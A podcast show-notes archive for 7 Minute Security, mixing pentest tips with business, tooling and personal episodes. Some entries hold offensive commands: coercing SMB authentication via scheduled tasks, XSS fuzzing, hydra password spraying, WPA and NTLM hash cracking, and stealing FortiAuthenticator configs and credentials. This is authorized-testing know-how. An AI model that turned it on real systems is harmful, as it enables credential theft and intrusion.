7 Minute Security

Artificial hype alert! I'm working on a NEW version of BPATTY (Brian's Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation. It's weird. But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than BPATTY v1 (which is now in archive/read-only mode).

Today we're talking about eating the security dog food – specifically: Satisfying critical security control #1 Using the Atlassian family of tools to create a ticketing/change control system and wrap it into an asset inventory Leveraging Wazuh as a security monitoring system (with eventual plans to leverage its API to feed Atlassian inventory data)

Hi, today's tale of pentest pwnage covers a few wins and one loss: A cool opportunity to drop Farmer "crops" to a domain admin's desktop folder via PowerShell remote session Finding super sensitive data by dumpster-diving into a stale C:\Users\Domain-Admin profile Finding a vCenter database backup and being unable to pwn it using vcenter_saml_login

Hey friends, we're doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using Docusaurus! It's cool, it's free, it's from Meta and you can get up and going in just a few commands – check out their getting started guide to get rockin' in about 5 minutes. Important files include: docusaurus.config.js – for setting the site title and key config settings sidebars.js – used to create/edit navigation bar menus /src/css/custom.css – to style the site

Today's tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse helps abuse vulnerable GPOs! Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address. When you're ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder. I'm not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s). If you're on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under. DonPAPI got an upgrade recently with a focus on evasion! When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you've got the vmss2core utility, which I couldn't find anywhere except the Internet Archive. Then I really like to follow this article to pull passwords from VM memory dumps. Can't RDP into a victim system that you're PSRemote'd into? Maybe RDP is listening on an alternate port! Try Get-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | select-object portnumber` And if you want to hang around until the very end, you can hear me brag about my oldest son who just became an EMT!

Hi friends, today's a tale full of test tips and tools to help you in your adventures in pentesting! SCCM Exploitation SCCM Exploitation: The First Cred Is the Deepest II w/ Gabriel Prud'homme – fantastic resource for learning all about attacking SCCM – starting from a perspective of zero creds CMLoot – find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares Snaffler – finds all the interesting SMB shares and juicy file contents Efflanrs – takes the raw Snaffler log and turns it into an interactive Web app! RubeusToCcache – a small tool to convert Base64-encoded .kirbi tickets from Rubeus into .ccache files for Impacket

Today I recap a two week persona/biz road trip and talk about the security stuff that got sprinkled into it, including: Family members who don't care about their personal security Weakpass – a cool collection of word lists for brute-forcing and spraying that I'd never heard of Working on two security Webinars for Netwrix (here's part 1: Mastering Password Security & Active Directory Monitoring, and and part 2: Advanced Strategies for SQL Server Protection & Sensitive Information Security) The moment we though our credit card was stolen at a waterpark A shameless plug for our fun interview with Stu the recruiter Some internal pentest tips that have given us some gold in recent assessments Super fast, spoiler-free movie reviews of Roadhouse, Arcadian, Late Night with the Devil and The Coffee Table

Today we have a fun featured interview with my new friend Stu Musil of Ambient Consulting I had a great time talking with Stu about bashing come common misconceptions people have about working with recruiters, plus tackling some frequently asked questions: How do you properly vet a recruiter you don't know, but who offers a job opportunity you're interested in? What questions should you ask a potential recruiter to get a feel for their level of experience in the industry (hint, if a recruiter doesn't even have a LinkedIn page, that's probably a red flag) Resume tips: Finding the right length and tone Tailoring your resume for each individual job Highlighting your strengths Do people still use cover letters when applying to a gig? Is a "hobbies and interests" section still a good idea on a resume (to show them you're not a robot who works 24/7)? Lets talk about some horror and/or success stories from the world of recruiting!

Hey friends, today we talk about some not-so-glamorous but ever-so-important stuff related to running a cybersecurity consultancy, including: Taking an inventory of all the SaaS stuff your business uses – to keep an eye on spending, know when services are expiring, and track which credit card the services are tied to (so the services don't almost get cancelled like some did with me!) Tracking domain names, and setting up your own automated rules to notify you well ahead of time when a domain is expiring (maybe that passion project is never gonna happen…time to let those old domains go 🙂 Making a spreadsheet of all important accounts and checking all the auth methods allowed for each account – to prevent attacks such as SIM-swapping

Hey friends, today we continue our series all about migrating from VMWare to the world Proxmox! Specifically: Getting my first Proxmox-based NUCs out in the field for live engagements! Pulling the trigger on two bare-metal Proxmox servers to eventually replace my vCenter environment. OVHCloud made it super easy to to add Proxmox to those bare-metals with a simple wizard. I couldn't figure out how to get a Proxmox VM as the main firewall for the whole Proxmox node, but it turns out it helps to RTFM. When getting a bare-metal OS/hypervisor installed, be careful in that the provider may leave the management ports of that host open to the whole world. In OVH's case, they have a software firewall that can be tuned so that, for example, only you can hit the management ports for the box. Getting VLANs setup is a snap once the virtual hardware stuff is in place.

Hey friends, today we've got a security milkshake episode about Web app pentesting. Specifically we talk about: Burp Suite Enterprise Caido – a lightweight alternative to Burp wfuzz – Web fuzzer. Using a proxy:wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt –sc 200 "https://somedomain.com/shopping?&qty=%2FUZZ" -p 10.0.7.11:8080 KNOXSS – for XSS testing – pairs nicely with this wrapper: https://github.com/xnl-h4ck3r/knoxnl In the tangent dept, I moan about how I hate some things about Proxmox but am also starting to love it. In the tangent #2 department, I talk about tinnitus and acupuncture!

Road trip time! I've been traveling this week doing some fun security projects, and thought all this highway time would be a perfect opportunity to take a dip into the 7MS mail bag! Today's questions include: How do you price internal network penetration tests? Have you ever had to deal with a difficult client situation, and how did you resolve it? Are you done going after certs? Spoiler: no – I'm interested in doing the XINTRA labs (not sure if it includes a cert) Do you provide managed services or just stick with more "one and done" assessment work? You said the "smart business people" tell you to form reseller partnerships, otherwise you're leaving money on the table – so why don't you? I'm thinking of starting my own cybersecurity consultancy – what type of insurance do I need to protect me in case of a digital "oops?"

Today's tale of pentest pwnage is all about my new favorite attack called SPN-less RBCD. We did a teaser episode last week that actually ended up being a full episode all about the attack, and even step by step commands to pull it off. But I didn't want today's episode to just be "Hey friends, check out the YouTube version of this attack!" so I also cover: Our first first impressions of Burp Enterprise Why I have a real hard time believing you have to follow all these steps to install Kali on Proxmox

Today's prelude to a tale of pentest pwnage talks about something called "spnless RBCD" (resource-based constrained delegation). The show notes don't format well here in the podcast notes, so head to 7minsec.com to see the notes in all their glory.

Sadly, the Broadcom acquisition of VMWare has hit 7MinSec hard – we love running ESXi on our NUCs, but ESXi free is no longer available. To add insult to injury, our vCenter lab at OVHcloud HQ got a huge price gouge (due to license cost increase; not OVH's fault). Now we're exploring Proxmox as an alternative hypervisor, so we're using today's episode to kick off a series about the joys and pains of this migration process.

Today we revisit a series about eating the security dog food – in other words, practicing what we preach as security gurus! Specifically we talk about: We're going to get a third-party assessment on 7MinSec (the business) Tips for secure email backup/storage Limiting the retention of sensitive data you store in cloud places

Today we're talking about tips to deal with stress and anxiety: It sounds basic, but take breaks – and take them in a different place (don't just stay in the office and do more screen/doom-scrolling) I've never gotten to a place in my workload where I go "Ahhh, all caught up!" so I should stop striving to hit that invisible goal. Chiropractic and back massages have done wonders for the tightness in my neck and shoulders For me, video games where you punch and kick things relieves stress as well (including a specific game that's definitely not for kids!)

We did something crazy today and recorded an episode that was 7 minutes long! Today we talk about some things that have helped us out in recent pentests: When using Farmer to create "trap" files that coerce authentication, I've found way better results using Windows Search Connectors (.searchConnector-ms) files This matrix of "can I relay this to that" has been super helpful, especially early in engagements

Today's episode is all about writing reports in Sysreptor. It's awesome! Main takeaways: The price is free (they have a paid version as well)! You can send findings and artifacts directly to the report server using the reptor Python module Warning: Sysreptor only exports to PDF (no Word version option!) Sysreptor has helped us write reports faster without sacrificing quality

Hey friends, today we've got a tale of pentest pwnage that covers: Passwords – make sure to look for patterns such as keyboard walks, as well as people who are picking passwords where the month the password changed is part of the password (say that five times fast)! Making sure you go after cached credentials Attacking SCCM – Misconfiguration Manager is an absolute gem to read, and The First Cred is the Deepest – Part 2 with Gabriel Prud'homme is an absolute gem to see. Also, check out sccmhunter for all your SCCM pwnage needs.

Hey friends, today we have a super fun interview with Andrew Morris of GreyNoise to share. Andrew chatted with us about: Young Andrew's early adventures in hacking his school's infrastructure (note: don't try this at home, kids!) Meeting a pentester for the first time, and getting his first pentesting job Spinning up a box on the internet, having it get popped instantly, and wondering…"Are all these people trying to hack me?" Battling through a pentester's least favorite part of the job: THE REPORT! GreyNoise's origin story How to build a better honeypot/honeynet

Hey friends, sorry I'm so late with this (er, last) week's episode but I'm back! Today is more of a prep for tales of pentest pwnage, but topics covered include: Make sure when you're snafflin' that you check for encrypted/obfuscated logins and login strings – it might not be too tough to decrypt them! On the defensive side, I've found myself getting *blocked* doing things like SharpHound runs, Snaffler, PowerHuntShares, etc. Look through the readme files for these tools and try cranking down the intensity/threads of these tools and you might fly under the radar.

How much fun I had attending and speaking at Netwrix Connect Being a sales guy in conference situations without being an annoying sales guy in conference situations A recap of the talk I co-presented about high profile breaches and lessons we can learn from them

Today's tale of pentest covers: Farming for credentials (don't forget to understand trusted zones to make this happen properly!) Snaffling for juice file shares Stealing Kerberos tickets with Rubeus

Hello friends, we're still deep in the podcast trenches this quarter and wanted to share some nuggets of cool stuff we've been learning along the way: Snaffler – pairs nicely with PowerHuntShares to find juicy tidbits within file/folder shares Group3r – helps you find interesting and potentially abusable Group Policy Object configurations Farmer – totally awesome toolkit for dropping tricky files on shares that will do things like fire up the Webclient service for any system browsing the share (doesn't require admin rights!) or coaxing a system into authenticating with you via HTTP or SMB

Hey friends, sorry for the late episode but I've been deep in the trenches of pentest adventures. I'll do a more formal tale of pentest pwnage when I come up for air, but for now I wanted to share some tips I've picked up from recent engagements: GraphRunner - awesome PowerShell toolkit for interacting with Microsoft Graph API. From a pentesting perspective, it may help you bridge the "gap" between LAN-side AD and Azure and find some goodies - like files with and XSLX extension containing the word password. PowerUpSQL -I typically use this to make SQL servers cough me up a hash via SMB using stored procedures, but I learned this week that I'll deeeefffffinitely use the Invoke-SQLAudit -Verbose functionality going forward.

Hey friends, today we cover a funstrating (that's fun + frustrating) issue we had with our DIY pentest dropboxes. TLDL: The preseed file got jacked because I had a bad Kali metapackage in it. While I was tinkering around with preseed files, I decided it would be more efficient to have the Kali ISO call that preseed file directly over HTTP (rather than make a new ISO every time I made a preseed change). To accomplish that: Mount the Kali ISO Explore to isolinux > txt.cfg Modify the txt.cfg to include a custom boot option that calls your preseed over HTTP. For example: label install menu label ^Install Yermaum kernel /install.amd/vmlinuz append net.ifnames=0 preseed/url=https://somewebsite/kali.preseed locale=en_US keymap=us hostname=kali777 domain=7min.sec simple-cdd/profiles=kali desktop=xfce vga=788 initrd=/install.amd/initrd.gz --- quiet

Hey friends, today is a first impressions episode about Sysreptor, which according to their GitHub page, is a fully customisable, offensive security reporting solution designed for pentesters, red teamers and other security-related people alike. It is easy to stand up with Docker, has built-in MFA and a great hybrid WYSIWYG/code editor. The only scary part? There is no export to Word (insert suspenseful music here!) - your reports just go right to PDF, friends! The killer feature for us, though, is the ability to create reports from the command line and send files, notes and findings to Sysreptor automagically!

Hey friends, today our pal Hackernovice joins us for a tool (actually two tools!) release party: EvilFortiAuthenticator - it's like a regular FortiAuthenticator, but evil. This tool allows you to capture the FortiAuthenticator API and subsequently steal the entire device's config, subsequently allowing you to restore the config to a second server and potentially steal cleartext Active Directory creds and SMTP accounts! We talk about BulletsPassView - a tool that originially allowed us to simply unmask the "hidden" API key in the FortiAuthenticator client (this did NOT work in the latest version of FAC). Once you get the API key, check out Fortinet's documentation to do fun things like dump the whole config to a file on disk! After you steal the config and restore it to a fresh FortiAuthenticator, use maintenance mode to reset the admin password. Once you can adjust the restored config to your liking, try using MITMsmtp to capture email server creds in the clear! TCMLobbyBBQ - this tool has nothing to do with security, but helps PC players of the Texas Chain Saw Massacre get into lobbies more efficiently.

Today we talk about some business-y things like: A pre first impressions opinion on Sysreptor Why I'm not worried about AI replacing manual pentesting (yet) My struggle with going "full CEO" vs. staying in the weeds and working on hands-on security projects

Today our pals Bjorn Kimminich from OWASP and Paul from Project7 and TheUnstoppables.ai join us as we kick off a series all about hacking the OWASP Juice Shop, which is "probably the most modern and sophisticated insecure web application!" We got a few wins on the Juice Shop score board today: Found the score board Bullied the chatbot Fired a DOM XSS Located a confidential document Gave the Juice Shop a devastating zero stars review Fired a DOM XSS which played the OWASP Juice Shop Jingle

Today our friend Amanda Berlin, Lead Incident Detection Engineer at Blumira, joins us to talk about being more mentally healthy in 2024! P.S. - did you miss Amanda's past visits to the program? Then check out episode 518, 536 and 588. Be sure to check out the next edition of Amanda's Defensive Security Handbook when it comes out in later January, 2024!

Today we tease two upcoming tool releases (shooting for Q1, 2024): TCMLobbyBBQ - a Python script for PC players of The Texas Chain Saw Massacre game to help players get out of lobbies and into live games ASAP! The script uses PyAutoGUI to take screenshots of what part of the game you're in, then make appropriate key presses and mouse clicks to get into lobby queues, then alert you when the game actually starts! EvilFortiAuthenticator - this tool will allow you to steal administrator API tokens from FortiAuthenticator which can lead to full compromise of the physical device. Happy new year!

Today I look at potentially replacing Splashtop and UptimeRobot (check out our episode about it here) with Tailscale and Uptime Kuma. The missing link (which I'd love some help with) is answering this security question: how can I setup Tailscale so that my 7MinSec testing box can connect to all these NUCs spread around the globe, but those NUCs cannot connect to each other (in case one is compromised)? Got some ideas? Let me know please!

Today we're talkin' business! Specifically: How to (gently) say "no" to (some) client projects How to (politely) challenge end-of-year deadlines An idea I'm kicking around in the lab - where I might do away with UptimeRobot and Splashtop in favor of Tailscale and Uptime Kuma

Today our pal Nate Schmitt (you may remember him from his excellent Dealing with Rejection: A DMARC Discussion Webinar) joins us to talk about breaking up with Active Directory. He covers: Why would you want to consider removing AD from your environment? What are common items to plan for? What steps should you take to efficiently plan a migration? What common challenges or considerations will you face?

Hey friends, today I share my experience working with ChatGPT, Ollama.ai, PentestGPT and privateGPT to help me pentest Active Directory, as well as a machine called Pilgrimage from HackTheBox. Will AI replace pentesters as we know them today? In my humble opinion: not quite yet. Check out today's episode to hear more, and please join me on Wednesday, December 6 for my Webinar on this topic with Netwrix called Hack the Hackers: Exploring ChatGPT and PentestGPT in Penetration Testing!

Today we talk about our first experience working through the responsible disclosure process after finding vulnerabilities in a security product. We cannot share a whole lot of details as of right now, but wanted to give you some insight into the testing/reporting process thus far, which includes the use of: BulletsPassView MITMsmtp mitmproxy

Today our good buddy Paul and I keep trying to hack the VulnHub machine based on the movie Billy Madison (see part 1 and 2 and 3). In today's final chapter, Paul and I: Find Eric's secret SSH back door Locate and decrypt a hidden file with Billy's homework Build wordlists with cewl Save Billy from the evil clutches of Eric Gordon!!!

Today we had a blast talking with Robert McCurdy about JAMBOREE (Java-Android-Magisk-Burp-Objection-Root-Emulator-Easy)! JAMBOREE allows you to quickly spin up a portable Git/Python/Java environment and much more! From a pentesting POV, you can whip up an Android pentesting environment, BloodHound/SharpHound combo, Burp Suite...the list goes on!

After about a year break (last edition of this series was in October, 2022, we're back with an updated episode of How to Succeed in Business Without Really Crying. We cover: Why we're not planning on selling the business any time soon Fast Google Dorks Scan Using ProtonVPN via command line Our pre first impressions of a pentesting SaaS tool you've almost definitely heard of

Today we're joined by Matt Warner of Blumira (remember him from episodes #551 and #529 and #507?) to talk about choosing the right XDR strategy! There's a lot to unpack here. Are EDR, MDR and XDR related? Can you get them all from one vendor - and should you? Do you run them on-prem, in the cloud, or both? Join us as Matt answers these questions and more!

Today we're talking about how you can use PatchMyPc to keep your home PC and/or pentest dropbox automatically updated with the latest/greatest patches!

Hey friends, today my Paul and I kept trying to hack the VulnHub machine based on the movie Billy Madison (see part 1 and 2). In our journey we learned some good stuff: Port knocking is awesome using utilities like knock: /opt/knock/knock 10.0.7.124 1466 67 1469 1514 1981 1986 Sending emails via command line is made (fairly) easy with swaks: swaks --to [email protected] --from [email protected] --server 192.168.110.105:2525 --body "My kid will be a soccer player" --header "Subject: My kid will be a soccer player" You could also use telnet and do this command by command - see this article from Black Hills Information Security for more info. Hyda works good for spraying FTP creds: hydra -l user -P passlist.txt ftp://192.168.0.1 Check out my quick cheat sheet about bettercap (see episode #522) for some syntax on extracting WPA handshake data from cap files: # ...it looks like the new standard hash type might be m22000 per this article (https://hashcat.net/forum/thread-10253.html). In that case, here's what I did on the pcap itself to get it ready for hashcat: sudo /usr/bin/hcxpcapngtool -o readytocrack.hc22000 wifi-handshakes.pcap # Then crack with hashcat! sudo /path/to/hashcat -m22000 readytocrack.hc2000 wordlist.txt

Today we're talking about 7 steps you can take to (hopefully) reclaim a hacked Facebook account. The key steps are: Ask Facebook for help (good luck with that) Put out an SOS on your socials Flag down the FBI Call the cops! Grumble to your attorney general Have patience Lock it down (once you get the account back)! Also, I have to say that this article was a fantastic resource in helping me create the outline above.

Today we talk about an awesome path to internal network pentest pwnage using downgraded authentication from a domain controller, a tool called ntlmv1-multi, and a boatload of cloud-cracking power on the cheap from vast.ai. Here's my chicken scratch notes for how to take the downgraded authentication hash capture (using Responder.py -I eth0 --lm) and eventually tweeze out the NTLM hash of the domain controller (see https://7ms.us for full show notes).

Today my Paul and I continued hacking Billy Madison (see part one here) and learned some interesting things: You can fuzz a URL with a specific file type using a format like this: wfuzz -c -z file,/root/Desktop/wordlist.txt --hc 404 http://x.x.x.x/FUZZ.cap To rip .cap files apart and make them "pretty" you can use tpick: tcpick -C -yP -r tcp_dump.pcap Or tcpflow: apt install tcpflow tcpflow -r To do port knocking, you can use the knock utility: sudo git clone https://github.com/grongor/knock /opt/knock knock 1.2.3.4 21 23 25 69 444 7777777

In today's tale of pentest pwnage we talk about: The importance of local admin and how access to even one server might mean instant, full control over their backup or virtualization infrastructure Copying files via WinRM when copying over SMB is blocked: $sess = New-PSSession -Computername SERVER-I-HAVE-LOCAL-ADMIN-ACCESS-ON -Credential * ...then provide your creds...and then: copy-item c:\superimportantfile.doc -destination c:\my-local-hard-drive\superimportantfile.doc -fromsession $sess If you come across PowerShell code that crafts a secure string credential, you may able to decrypt the password variable with: [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($MyVarIWantToDecryptGoesHere))

Today Amanda Berlin from Blumira teaches us how to unlock the power of Sysmon so we can gain insight into the good, bad and ugly things happening on our corporate endpoints! Key takeaways: Sysmon turns your windows logging up to 11, and pairs well with a config file like this one or this one. Careful if you are are running sysmon on non-SSD drives - the intense number of writes might bring that disk to its knees. Just getting started logging all the things with sysmon? Why not pump those logs into a free logging/alerting system like Wazuh? I think it was SolarWinds log collector I was trying to think of while recording the show, not CloudTrail.

Today my pal Paul from Project7 and I hack the heck out of Billy Madison a vulnerable virtual machine that is celebrating its 7th anniversary this month!